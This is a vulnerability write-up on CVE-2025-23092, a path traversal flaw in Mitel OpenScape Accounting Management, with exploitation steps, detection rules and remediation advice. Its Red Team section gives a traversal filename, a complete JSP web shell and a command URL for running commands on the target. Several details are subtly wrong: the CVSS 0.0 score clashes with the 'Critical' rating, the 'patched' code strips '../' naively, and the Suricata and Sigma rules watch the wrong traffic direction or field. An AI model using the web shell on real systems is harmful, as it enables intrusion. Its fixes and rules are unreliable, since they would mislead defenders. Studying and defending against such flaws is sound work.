CVE-2025-23092

Executive Summary

CVE-2025-23092 is a critical path traversal vulnerability in Mitel OpenScape Accounting Management through V5 R1.1.0. An authenticated attacker with administrative privileges can exploit insufficient input sanitization to traverse directories, upload arbitrary files, and execute unauthorized commands. This could lead to full system compromise, data exfiltration, or lateral movement within the network. No public proof-of-concept or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector: Network (authenticated, admin privileges required)
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (due to potential for arbitrary file upload and command execution)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Mitel OpenScape Accounting Management. The application fails to properly sanitize user-supplied filenames or paths during file upload operations. An authenticated administrator can craft a request containing path traversal sequences (e.g., ../) to write files outside the intended upload directory. By uploading a malicious file (e.g., a web shell) to a web-accessible directory, the attacker can then execute arbitrary commands on the underlying operating system with the privileges of the application process.

Attack Flow:

1. Authenticate as an administrator to the OpenScape Accounting Management web interface.
2. Intercept the file upload request using a proxy (e.g., Burp Suite).
3. Modify the filename parameter to include path traversal sequences, e.g., ../../../var/www/html/shell.jsp.
4. Upload a malicious JSP or PHP file containing command execution code.
5. Access the uploaded file via the web server to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No sanitization of filename
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
File destFile = new File(uploadDir + filename);
// File is written to destFile

Patched Code (Conceptual):

// Patched: Sanitize filename and validate path
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
// Remove path traversal sequences
filename = filename.replace("../", "").replace("..\\", "");
// Ensure filename is within uploadDir
File destFile = new File(uploadDir + filename);
if (!destFile.getCanonicalPath().startsWith(new File(uploadDir).getCanonicalPath())) {
    throw new SecurityException("Invalid file path");
}
// File is written to destFile

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Mitel OpenScape Accounting Management V5 R1.1.0 (or earlier)
• Attacker: Kali Linux with Burp Suite
• Network: Both on the same subnet

Exploitation Steps:

1. Log in to the web interface as an administrator.
2. Navigate to the file upload functionality (e.g., "System Maintenance" > "File Upload").
3. Intercept the upload request in Burp Suite.
4. Modify the filename parameter to: ../../../var/www/html/cmd.jsp
5. Set the file content to a JSP web shell:

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

6. Send the request.
7. Access the uploaded shell: http://target/cmd.jsp?cmd=whoami

Blue Team

Detection:

• Monitor for file upload requests containing path traversal sequences (../, ..\\).
• Alert on file writes to unexpected directories (e.g., web root, system directories).
• Use file integrity monitoring (FIM) to detect new or modified files in web-accessible directories.

Hunting:

• Search web server logs for requests with ../ in the filename parameter.
• Look for unusual file extensions (e.g., .jsp, .php, .asp) in upload directories.
• Correlate administrative account activity with file upload events.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /upload or similar endpoints with filename parameter containing ../
  • Outbound connections from the target to attacker IPs (if reverse shell is used)
• File System:
  • Unexpected files in web-accessible directories (e.g., /var/www/html/, C:\inetpub\wwwroot\)
  • Files with extensions .jsp, .php, .asp, .aspx in non-standard locations
• Process:
  • Unusual child processes spawned by the web server (e.g., cmd.exe, /bin/sh)
• Logs:
  • Web server logs showing 200 responses for uploaded shell files
  • Application logs with path traversal patterns

Detection Engineering

YARA Rule

rule CVE_2025_23092_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in file upload requests to Mitel OpenScape Accounting Management"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23092"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $upload_endpoint = "/upload" nocase
        $admin_session = "JSESSIONID" nocase
    condition:
        $upload_endpoint and ($traversal1 or $traversal2) and $admin_session
}

Sigma Rule

title: CVE-2025-23092 Path Traversal in Mitel OpenScape Accounting Management
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in file upload requests to Mitel OpenScape Accounting Management
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '../'
        cs-uri-stem|contains: '/upload'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23092 Path Traversal in Mitel OpenScape Accounting Management"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict administrative access to the OpenScape Accounting Management interface to trusted IPs only.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing ../ in file upload parameters.
3. Long-term: Apply vendor patch when available. In the interim, upgrade to a non-vulnerable version if possible.
4. Compensating Controls:
   • Enable strict file upload validation (whitelist extensions, sanitize filenames).
   • Use a dedicated file upload server with no execution permissions.
   • Monitor and alert on file upload events.

Valters IT